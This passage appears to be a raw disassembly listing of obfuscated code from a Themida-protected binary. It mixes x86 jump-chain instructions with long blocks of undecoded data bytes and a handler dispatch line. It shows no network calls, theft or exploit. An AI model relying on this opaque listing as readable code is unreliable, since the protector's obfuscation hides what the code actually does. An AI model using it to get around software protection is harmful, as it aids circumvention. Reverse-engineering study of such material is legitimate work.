		dd 9FF7814Fh, 12BA527h,	0CA895FF9h, 0E9D02959h,	0FFFFE2CDh
		dd 0DAB21AB1h, 5059CA30h, 0D0F6ACB0h, 0EA805F34h, 80C228B1h
		dd 2858B1C2h, 2434FFD0h, 0FF92AFE9h, 0DABA52FFh, 0BB79D272h
		dd 9D0C8DECh, 7DA1EB81h, 0D30100DFh, 0FFDE4FE9h, 0C4835FFFh
		dd 4BB5304h, 1000000h, 24F4E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F6A6:				; CODE XREF: Themida_:005505D9j
		pop	ecx
		jmp	loc_54A48E
; ---------------------------------------------------------------------------
		dd 7F5E14BEh, 0B5C9E940h, 8B66FFFFh, 0D4682404h, 89000001h
		dd 0E789243Ch, 0D8685055h, 58399118h, 8E0C140h,	0A034E953h
		dd 0E089FFFFh, 405h, 40500h, 4870000h, 0E9525C24h, 0FFFFCEE3h
		dd 6CE94E04h, 21FFFF8Dh, 0E94D58C5h, 0FFFFB75Dh, 0FF6B09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F701:				; CODE XREF: Themida_:00548242j
		mov	bl, 0FAh
		not	bl
		jmp	loc_549BF2
; ---------------------------------------------------------------------------
		dw 0FBE9h
		dd 53FFFF6Ah, 0C381E389h, 4, 0FF7463E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F71D:				; CODE XREF: Themida_:0054656Dj
		mov	edx, [esp]
		add	esp, 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54E9F9
; ---------------------------------------------------------------------------


loc_54F738:				; CODE XREF: Themida_:0054DE2Fj
		xor	esi, 884359Bh
		or	esi, 146B798Ch
		push	edi
		mov	edi, 149D66D5h
		xor	edi, 0F79964D2h
		add	esi, edi
		pop	edi
		jmp	loc_54921A
; ---------------------------------------------------------------------------


loc_54F758:				; CODE XREF: Themida_:0054C074j
		jz	loc_54CBA3
		push	69FFh
		mov	[esp], esi
		push	ecx
		mov	ecx, 5CB160D4h
		not	ecx
		add	ecx, 6EB5305Dh
		dec	ecx
		shr	ecx, 6
		jmp	loc_54E38B
; ---------------------------------------------------------------------------
		db 5Bh,	56h, 0BEh
		dd 4, 875EF701h, 248B243Ch, 24048B24h, 24C9E955h, 5F580000h
		dd 8904EC83h, 0E9552434h, 2929h, 0F6E9D729h, 89FFFFCFh
		dd 4C381E3h, 50000000h,	2B8h, 58C30100h, 0FF9D68E9h, 5AD131FFh
		dd 0FF98EBE9h, 0AEEF81FFh, 890B2A11h, 0C6815FF8h, 27224832h
		dd 333EE81h, 0C6016EA3h, 0FF9068E9h, 3ACFBBFFh,	0EB817F10h
		dd 5C8A045Dh, 0F75BD931h, 0E98141D1h, 0CE4381B7h, 0E9C1D9F7h
		dd 0F1814108h, 4C6D2572h, 8759CA31h, 1C26E9DAh,	2E680000h
		dd 5B6FA250h, 0BBD3E951h, 0E9C1FFFFh, 41C98106h, 0E95D7419h
		dd 0FFFFB74Dh
; ---------------------------------------------------------------------------


loc_54F82C:				; CODE XREF: Themida_:0054FAFFj
		pop	edx
		or	eax, eax
		jz	loc_54D24F
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7520349Ch
		add	dword ptr [esp+4], 216F75E0h
		add	dword ptr [esp+4], 32CD0185h
		add	dword ptr [esp+4], 57820113h
		add	[esp+4], ebp
		jmp	loc_54C209
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FF87EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F86D:				; CODE XREF: Themida_:00546630j
		pop	ecx
		inc	ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_5485F4
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 6988E99Ch, 0BB53FFFFh, 47FA6098h, 0FF7B96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F88D:				; CODE XREF: Themida_:0054709Bj
		neg	cl
		jmp	loc_547FCC
; ---------------------------------------------------------------------------


loc_54F894:				; CODE XREF: Themida_:0055128Cj
		not	bh
		jmp	loc_54D3FD
; ---------------------------------------------------------------------------


loc_54F89B:				; CODE XREF: Themida_:0055262Aj
		pop	esi
		jmp	loc_54ECEF
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704C3h, 70E95C24h, 89FFFFA4h, 14E9241Ch
		dd 5BFFFFB7h, 0FFB67CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F8C1:				; CODE XREF: Themida_:00552227j
		push	edx
		mov	dh, 0B1h
		sub	al, dh
		pop	edx
		xor	bh, al
		pop	eax
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	small 0Fh
		jmp	loc_549A05
; ---------------------------------------------------------------------------


loc_54F8DE:				; CODE XREF: Themida_:005507B5j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54A9E5
; ---------------------------------------------------------------------------
		dd 515E5456h, 0E725B6B9h, 1E9835Dh, 0DA4FBD55h,	0C181A218h
		dd 77FB6B26h, 97E9E901h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F90B:				; CODE XREF: Themida_:0054D267j
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_546AF2
; ---------------------------------------------------------------------------
		db 0BFh, 2, 0
		dd 0F9290000h, 240C875Fh, 6624248Bh, 0E9240489h, 0FFFF68DEh
; ---------------------------------------------------------------------------


loc_54F92C:				; CODE XREF: Themida_:00546862j
		add	eax, edx
		jmp	loc_54FBEF
; ---------------------------------------------------------------------------
		db 0BDh
		dd 50CCCB3Dh, 0E95DE829h, 0FFFFD2C9h, 0FD6EAFBAh, 0EDCA811Bh
		dd 420E3C51h, 0FFB2B9E9h, 0C7835DFFh, 7E95704h,	0E9FFFFFCh
		dd 0FFFF68AAh
; ---------------------------------------------------------------------------


loc_54F960:				; CODE XREF: Themida_:005502E6j
		push	30B5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_54C015
; ---------------------------------------------------------------------------
		db 87h
		dd 0C15C242Ch, 0B95107EAh, 5FDF21DCh, 7FBA5249h, 295F85E7h
		dd 24148BD1h, 0FF87CDE9h, 0B8BE56FFh, 4E044B1Bh, 2DEEE81h
		dd 0EE8123A5h, 624307F0h, 5D1AF681h, 0F681245Ah, 667030E7h
		dd 0E4DBF57h, 0FE29D539h, 5EF5015Fh, 15DEE89h, 77095AD6h
		dd 24348B1Ch, 6804C483h, 6065h,	0FF241C89h, 505B2434h
		dd 191768h, 24248900h, 4240481h, 8B000000h, 0C4812404h
		dd 4, 29CEE9h, 52575B00h, 0FFE604E9h, 0AD768FFh, 0C890000h
		dd 2D29E924h, 0D3660000h, 0E99C242Ch, 0FFFF67F2h, 4C481h
		dd 0BF570000h, 7CB542BFh, 0B79BE56h, 85E952EFh,	66000006h
		dd 8324048Bh, 48904ECh,	5E08924h, 4, 8904EC83h,	9E92434h
		dd 55000008h, 6B1E29BDh, 81EDD164h, 0EB2A8EC5h,	5EDC103h
		dd 0FFCC2BE9h, 7DF181FFh, 9444479h, 0F04FE9C8h,	0C383FFFFh
		dd 0ADC38101h, 89B923E0h, 0EF015BDDh, 243C875Dh, 8124248Bh
		dd 4C4h, 2434FF00h, 0E92434FFh,	0FFFFC442h, 0B3244BBBh
		dd 0D8E95549h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FA9F:				; CODE XREF: Themida_:0054C64Fj
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5518A4
; ---------------------------------------------------------------------------
		db 1, 0D0h, 2Dh
		dd 114658E4h, 8324148Bh, 0F1E904C4h, 81000023h,	107F02C1h
		dd 59CB0137h, 1C8BD829h, 4C48324h, 0FFC3B7E9h, 24048FFFh
		dd 92DFE95Ch, 166FFFFh,	0C38166C3h, 56666A7Bh, 1794BE66h
		dd 0E9F30166h, 0FFFF897Ch, 0E9C0B60Fh, 0FFFFB68Ah
; ---------------------------------------------------------------------------


loc_54FAFC:				; CODE XREF: Themida_:0054C0C9j
		pop	ecx
		and	eax, edx
		jmp	loc_54F82C
; ---------------------------------------------------------------------------
		dd 0F57038BAh, 45EA687Bh, 92E90000h, 68FFFFD4h,	6CFBh
		dd 89242C89h, 4C581E5h,	81000000h, 2C5h, 74FF5500h, 34FF0424h
		dd 0EC835D24h, 243C8904h, 38E95F54h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FB3F:				; CODE XREF: Themida_:00551EBFj
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		push	small 0E2Dh
		mov	[esp], dx
		mov	dh, 0A3h
		add	al, 8Dh
		add	al, dh
		sub	esp, 4
		jmp	loc_54BFEB
; ---------------------------------------------------------------------------
		db 0B8h
		dd 136F7F7Ch, 7D12B025h, 5AEB057Ch, 35405233h, 8120B265h
		dd 91E9C229h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FB7B:				; CODE XREF: Themida_:00546404j
		neg	edx
		jmp	loc_54A83B
; ---------------------------------------------------------------------------
		dw 468h
		dd 5B000000h, 39DCBA52h, 0D0013E29h, 8324148Bh,	0D80104C4h
		dd 39DCBB53h, 53E93E29h, 5DFFFFC8h, 4247C01h, 13D8E95Fh
		dd 77FF0000h, 58669D1Ch, 24041166h, 664CE99Ch, 0D828FFFFh
		dd 20E95266h, 50FFFFCCh, 2B8h, 1CEE8100h, 8111ED47h, 734EB2C6h
		dd 81C6014Eh, 734EB2EEh, 1CC6814Eh, 8B11ED47h, 39E92404h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FBEF:				; CODE XREF: Themida_:0054F92Ej
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		push	1C96h
		mov	[esp], edx
		push	ebx
		pop	edx
		mov	eax, edx
		jmp	loc_54E08F
; ---------------------------------------------------------------------------
		dw 8F5Eh
		dd 248B2404h, 24048924h, 0FF65DDE9h, 5D03BDFFh,	0EE894AADh
		dd 5D2434FFh, 0FFB0CEE9h, 74FF52FFh, 58E90424h,	31FFFF86h
		dd 24048BC7h, 4C481h, 0F8290000h, 0E9243C8Bh, 0FFFFA5D0h
		dd 6854E381h, 0D3F71DDCh, 4BF8F381h, 0C3815926h, 596663EBh
		dd 335BDF01h, 3EE9243Ch
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FC7B:				; CODE XREF: Themida_:00546FA1j
		add	ebp, 4
		jmp	loc_54E13C
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 55000000h,	8AA7E953h, 0E389FFFFh, 0FFA6F5E9h
		dd 0CB685BFFh, 89000048h, 0E9562414h, 2EAh, 240C8B66h
		dd 459468h, 243C8900h, 43268h, 8761E900h, 8B66FFFFh, 0E9522404h
		dd 60Ah, 286C68h, 24148900h, 0BD55E289h, 4, 2C8BEA01h
		dd 4C48324h, 8704C283h,	0E95C2414h, 11E9h, 68E78957h, 4B0h
		dd 0FFB7C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FCFD:				; CODE XREF: Themida_:0054AC2Bj
		shr	ecx, 4
		sub	ecx, 84F364Eh
		xor	ecx, 0E18CABE2h
		sub	ecx, esi
		jmp	loc_55234D
; ---------------------------------------------------------------------------
		db 51h
		dd 42474FFh, 24048F59h,	0FFD7DBE9h, 7DEB80FFh, 0FFB6FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54FD29:				; CODE XREF: Themida_:0054A515j
		push	esi
		mov	esi, 7E7D76FAh
		inc	esi
		not	esi
		or	esi, 7A9D457Eh
		sub	esi, 59E74C0Ch
		sub	esi, 8F284ED6h
		jmp	loc_5466E8
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 3Ch
		dd 34FF5424h, 0C4815F24h, 4, 4C781h, 0BE560000h, 4, 0FFA22FE9h
		dd 58C129FFh, 5C240C87h, 24048966h, 0FF6491E9h,	0E2C142FFh
		dd 58EA8104h, 0E96BF83Dh, 0FFFF78ACh, 11F0B951h, 0E1C157A7h
		dd 0FA88E902h, 835EFFFFh, 0EE904C4h, 0FFFFFF68h, 8B042474h
		dd 0C4832434h, 987AE904h, 492CFFFFh, 0AEDFE95Bh, 48BFFFFh
		dd 0A9C7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FDBE:				; CODE XREF: Themida_:00550E3Dj
		mov	[esp], ebx
		push	3847h
		mov	[esp], edx
		push	4EAA74BBh
		mov	edx, [esp]
		push	ebp
		jmp	loc_546A92
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 0ADBA5204h, 816B2E60h, 0C666C8C2h, 81D2F779h
		dd 913CC9C2h, 0F2814A2Ch, 479C7556h, 815AD601h,	2C6h, 55F46800h
		dd 34890000h, 2474FF24h, 2434FF04h, 4C4815Eh, 8F000000h
		dd 248B2404h, 2404D324h, 63E4E99Ch, 3605FFFFh, 5B6AB221h
		dd 0FFEDDBE9h, 4C483FFh, 59FC68h, 24148900h, 0FF70B7E9h
		dd 51C3B7FFh, 0EDC081B5h, 0C0C5FE05h, 76E904EDh, 1FFFFAEh
		dd 0AEB81C3h, 8116B740h, 9A4A77EBh, 1C875852h, 34FF5C24h
		dd 1C05E924h, 81580000h, 4C4h, 4C48100h, 83000000h, 348904ECh
		dd 124CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FE86:				; CODE XREF: Themida_:0054B672j
		pop	esp
		push	5C55h
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_551D0A
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 2404085Ch, 6354E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FEB6:				; CODE XREF: Themida_:0054EA55j
		add	[esp+4], edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 27FB6D0Ah
		dec	ebp
		shl	ebp, 8
		push	ebx
		mov	ebx, 7D90319h
		or	ebp, ebx
		pop	ebx
		dec	ebp
		shl	ebp, 8
		add	ebp, 2F4E804h
		jmp	loc_54A3DF
; ---------------------------------------------------------------------------
		db 81h
		dd 0D43D16C2h, 0B1F4E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FEF2:				; CODE XREF: Themida_:0054C919j
		sub	dword ptr [esp], 9E9477Bh
		jmp	loc_54D4C7
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 6855243Ch, 50C655C9h, 7EF5815Dh, 81070370h, 0B84169EDh
		dd 0B8504530h, 3F703642h, 9F760A35h, 5D0F755h, 0B26E424Bh
		dd 0F7484840h, 8612DD0h, 0C5318C5Ah, 5DEF8958h,	0FFF88CE9h
		dd 0E9D301FFh, 0FFFFB6DBh, 6D66F681h, 0F7319656h, 0E9F8295Eh
		dd 0FFFFB6B8h, 0E902E2C1h, 0FFFF87B6h, 5D20C181h, 0F9017C9Dh
		dd 5D20E981h, 0B8507C9Dh, 394B64B0h, 0E8C1D0F7h, 14F75004h
		dd 0C1405824h, 0F7E908E0h, 81FFFFEEh, 4C5h, 4ED8300h, 1922E9h
		dd 6274E900h, 76BEFFFFh, 0C169287Eh, 0CE8103EEh, 5F8B283Bh
		dd 2F68146h, 895FAF30h,	244EE9F2h, 1C330000h, 24248B24h
		dd 24042166h, 6248E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FFC2:				; CODE XREF: Themida_:005468C8j
		mov	dl, 0DEh
		jmp	loc_54C58D
; ---------------------------------------------------------------------------


loc_54FFC9:				; CODE XREF: Themida_:00550DFBj
		add	al, dl
		pop	edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54C734
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 6850E789h, 6601h, 0E9243489h, 0FFFFBF54h, 6BB5E952h
		dd 248BFFFFh, 2424D224h, 6210E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FFFA:				; CODE XREF: Themida_:00551000j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54CF12
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4B850h, 0C3010000h, 0BB1E958h, 0F9BA0000h, 814C235Bh
		dd 416978EAh, 52E2D141h, 5A2414F7h, 0FFF17DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550035:				; CODE XREF: Themida_:0054EE0Aj
		push	316Bh
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 80h
		jmp	loc_551080
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 835AD001h, 43304C0h, 24043124h, 8B240433h, 0C6012424h
		dd 6C2CB951h, 98E975CCh, 5CFFFFEBh, 0FFE0B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550095:				; CODE XREF: Themida_:0054E69Ej
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_550E8B
; ---------------------------------------------------------------------------


loc_5500A7:				; CODE XREF: Themida_:00548D1Aj
		shr	edx, 2
		push	0
		jmp	loc_54A57B
; ---------------------------------------------------------------------------
		dd 535EF731h, 0E56DA2BBh, 0D969E91Ch, 0E958FFFFh, 0FFFFD1C9h
		dd 0E94F04ACh, 0FFFFB533h
; ---------------------------------------------------------------------------


loc_5500D0:				; CODE XREF: Themida_:0054C61Fj
		jmp	loc_54620A
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 0D324248Bh, 0E99C243Ch, 0FFFF6126h, 33243431h, 248B2434h
		dd 0C4E3E924h, 895CFFFFh, 0FE959CBh, 29FFFF61h,	0BFE95FFAh
		dd 5DFFFF74h, 0FFD593E9h, 2BDFFh, 0E9010000h, 9D5E9h, 4EC8300h
		dd 0BA241489h, 51F8758Eh, 0F707E2C1h, 92C0E9D2h, 0C8BFFFFh
		dd 4C48324h, 1E9C381h, 0C3295AD3h, 1E9EB81h, 0B8E95AD3h
		dd 81FFFFCDh, 7B5C47C6h, 0B19CE963h, 0D366FFFFh, 0E99C2404h
		dd 0FFFF60B2h
; ---------------------------------------------------------------------------


loc_550158:				; CODE XREF: Themida_:00549E37j
		add	eax, 6D354FF9h
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54E699
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 6FDA416Ch
		jmp	loc_549E54
; ---------------------------------------------------------------------------


loc_55017E:				; CODE XREF: Themida_:0054D068j
		push	ecx
		mov	ecx, 200000h
		and	eax, ecx
		jmp	loc_547BA6
; ---------------------------------------------------------------------------
		db 52h
		dd 0D6F6E688h, 305AF488h, 30E230D4h, 8CA3E9D4h,	2C33FFFFh
		dd 8DE95C24h, 81FFFFDCh, 4C4h, 0E9D3F600h, 0FFFFCFC6h
		dd 0D0285966h, 63E95A04h, 81FFFF83h, 0BE3C63EAh, 81C2011Eh
		dd 0BE3C63C2h, 24048B1Eh, 104C483h, 4EC81C2h, 89000000h
		dd 0F7B82404h, 811CE47Eh, 8E28B8C2h, 81C2294Fh,	8E28B8EAh
		dd 24048B4Fh, 55E08950h, 0FFE211E9h, 81DAF7FFh,	1C237CEAh
		dd 2E2C149h, 0EA814A4Ah, 0F9D3390Eh, 525AD001h,	17CAE9h
		dd 30F6800h, 1C890000h,	4EC8124h, 0E9000000h, 0FFFF9191h
		dd 0ABE9E789h, 0B9000003h, 29BF039Ah, 5F37BA52h, 79E904DDh
		dd 81000014h, 4ECh, 24148900h, 0E904EC83h, 10A1h, 4BEh
		dd 1768E900h, 895C0000h, 27BB241Ch, 0F7500B03h,	1A38E9DBh
		dd 0EF810000h, 33AE3130h, 0C781CF01h, 33AE3130h, 243C8759h
		dd 4EC835Ch, 0B8240489h, 23C742D0h, 152DE9h, 3C895C00h
		dd 2474FF24h, 48F5F04h,	24248B24h, 676768h, 24348900h
		dd 0C6815E54h, 4, 107E68h, 24148900h, 4BAh, 1EE8100h, 2950B769h
		dd 1BD55D6h, 150B769h, 148B5DEEh, 903BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F960
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF98FBE9h, 61A00DFFh, 12053146h, 1998792h, 38E958C7h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550303:				; CODE XREF: Themida_:005480D4j
		add	ebx, ebp
		pop	ebp
		jmp	loc_54C0B3
; ---------------------------------------------------------------------------
		db 66h
		dd 2404BB0Fh, 5EF4E99Ch, 0E2C1FFFFh, 8E7FE905h,	0F66FFFFh
		dd 9FE9C8B6h, 0BEFFFFE7h, 59FC1CB2h, 0FF6743E9h, 241C33FFh
		dd 0FFCD62E9h, 66922CFFh, 28B7B753h, 1C8B66F8h,	0E3895324h
		dd 4C381h, 0C3810000h, 2, 31241C33h, 1C33241Ch,	0F7685C24h
		dd 8900002Ch, 0CFB3241Ch, 0B5515066h, 2809B490h, 240C8BECh
		dd 0E904C483h, 0FFFF7338h, 0A8E9D801h, 81000023h, 4ECh
		dd 240C8900h, 0B15131B1h, 0CE9802Ch, 0FFCF59E9h, 242C89FFh
		dd 0FD1DC4BDh, 0D6CD817Ah, 811CD277h, 0D463F9E5h, 81D5F768h
		dd 2B9C2BEDh, 5DEB2997h, 8B241C87h, 0C892424h, 0B694E924h
		dd 8358FFFFh, 3C8904ECh, 68E78924h, 1EFFh, 0BD242C89h
		dd 4, 95E9EF01h, 52FFFF88h, 0FF8C5FE9h,	74FF50FFh, 93E90424h
		dd 1FFFF99h, 24148BD3h,	0FFAC3EE9h, 7BBD55FFh, 2151750Dh
		dd 0A8E95DE8h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55040B:				; CODE XREF: Themida_:0054903Aj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_54DF99
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B9240C89h, 0ED67911h, 77E9h, 0FFC83100h, 50592434h
		dd 32E95854h, 8BFFFFB7h, 89512414h, 4C181E1h, 83000000h
		dd 0C8704C1h, 0A7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550462:				; CODE XREF: Themida_:0054B221j
		add	esp, 4
		jmp	loc_54DEED
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0FEh
		dd 5A14BF8h, 29A3027Dh,	90E9D001h, 35FFFF96h, 91015589h
		dd 3358C101h, 0D9E9240Ch, 89FFFFBFh, 0D10158C2h, 8324148Bh
		dd 0C18104C4h, 4, 0FF9848E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5504A5:				; CODE XREF: Themida_:00550575j
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_548557
; ---------------------------------------------------------------------------
		dd 4908E9C1h, 4E9C149h,	3CF168h, 24148900h, 9E4652BAh
		dd 7378E938h, 1C8BFFFFh, 4C48124h, 81000000h, 2C6h, 24343300h
		dd 0FFFBFFE9h, 2434FFFFh, 0FFD8A7E9h, 88E288FFh, 24148BD1h
		dd 0E9E08950h, 0FFFF74D3h, 0FF5D09E9h, 243C89FFh, 1F89E9h
		dd 0E7685C00h, 8900004Fh, 0BFBB241Ch, 0E940D73Ah, 0FFFFEB16h
; ---------------------------------------------------------------------------


loc_55051C:				; CODE XREF: Themida_:00547CE8j
		push	0FFFFh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_550FF5
; ---------------------------------------------------------------------------


loc_55054D:				; CODE XREF: Themida_:0054664Dj
		not	ch
		and	ch, 0ABh
		xor	ch, 9Eh
		xor	dl, ch
		pop	ecx
		sub	al, 32h
		add	al, dl
		push	edx
		push	ecx
		mov	cl, 32h
		mov	dl, cl
		jmp	loc_550DF5
; ---------------------------------------------------------------------------


loc_550567:				; CODE XREF: Themida_:00551501j
		push	5EBAh
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5504A5
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 0C4832414h, 4382D04h, 0A3053435h, 147302Fh, 2FA32DD8h
		dd 38054730h, 81343504h, 4ECh, 24348900h, 892AD6BEh, 5EF0013Fh
		dd 436568h, 0D8CE900h, 55560000h, 4BDh,	0A7D5E900h, 0E953FFFFh
		dd 1571h
; ---------------------------------------------------------------------------


loc_5505C4:				; CODE XREF: Themida_:0054ED8Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5526BC
; ---------------------------------------------------------------------------


loc_5505D4:				; CODE XREF: Themida_:0054EB9Bj
		sub	bl, ch
		push	dword ptr [esp]
		jmp	loc_54F6A6
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8704EF83h, 895C243Ch, 0C6B1240Ch,	0FFDFCAE9h, 0E0055EFFh
		dd 105CC53h, 53E02DC8h,	0C8B05CCh, 0E7895724h, 0FFB35AE9h
		dd 4C483FFh, 4BF57h, 60E90000h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55061B:				; CODE XREF: Themida_:0054A96Ej
		pop	ecx
		jmp	loc_54EDE1
; ---------------------------------------------------------------------------


loc_550621:				; CODE XREF: Themida_:0054A501j
		pop	dx
		jmp	loc_5507F4
; ---------------------------------------------------------------------------
		dd 46EB815Ah, 2925A645h, 46C381C3h, 5225A645h, 9F6CA0BAh
		dd 0E9D3012Ch, 0FFFFC424h, 246E93BAh, 26C38107h, 0E90BB465h
		dd 1B19h, 3EC5C581h, 0EB01A3A7h, 0EE9515Dh, 81FFFF81h
		dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 5B8CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55067E:				; CODE XREF: Themida_:0054F302j
		pop	esp
		or	eax, eax
		jz	loc_54E045
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_550924
; ---------------------------------------------------------------------------
		dd 0E9B1F680h, 0FFFF5C86h, 0C181F901h, 62D705C2h, 59C8315Fh
		dd 0FF6AEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5506BD:				; CODE XREF: Themida_:0054A9E8j
		push	706Fh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_548838
; ---------------------------------------------------------------------------


loc_5506D3:				; CODE XREF: Themida_:00546A86j
		push	edx
		mov	edx, 16A827D0h
		jmp	loc_54AEEB
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 48B665Ch,	0E2895224h, 1574E956h, 0ACB30000h
		dd 0EB80C3FEh, 5BD82897h, 1604D800h, 5B2434FFh,	0E9E68956h
		dd 11h,	8B04C483h, 0C4812414h, 4, 0FF8115E9h, 4C681FFh
		dd 83000000h, 348704C6h, 1BE95C24h, 81FFFFD0h, 3B34C9C6h
		dd 24148B00h, 0FFAB2EE9h, 4055AFFh, 87000000h, 248B2404h
		dd 0F9685124h, 0E900002Fh, 0FFFFB00Ch, 42BDCF81h, 0F7814971h
		dd 0CAEDA79h, 34FFFA31h, 0C4835F24h, 240C8B04h,	4C481h
		dd 0C9090000h, 0D9D3840Fh, 8368FFFFh, 5400007Bh, 0E924048Fh
		dd 0FFFF95DCh, 240C8B66h, 0E9E38953h, 0FFFFED23h
; ---------------------------------------------------------------------------


loc_550794:				; CODE XREF: Themida_:00546D2Bj
		xor	ebp, esi
		pop	esi
		add	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, 2
		jmp	loc_54F8DE
; ---------------------------------------------------------------------------
		dw 6858h
		dd 18EBh, 54241C89h, 5B9515Bh, 81756D17h, 0BB13A6E9h, 26E98125h
		dd 0E965B526h, 0FFFFCCA2h, 6DD568h, 24048900h, 0FFA3FDE9h
		dd 24248BFFh, 0E9240C8Bh, 0FFFFEF1Bh
; ---------------------------------------------------------------------------


loc_5507F4:				; CODE XREF: Themida_:00550623j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 24048B66h, 4EC81h, 0C890000h, 50626824h, 24890000h
		dd 24048324h, 240C8B04h, 4C481h, 0C1810000h, 4,	2BE56h
		dd 0D7E90000h, 81FFFFB5h, 0CDD708C6h, 5EF78926h, 2414F757h
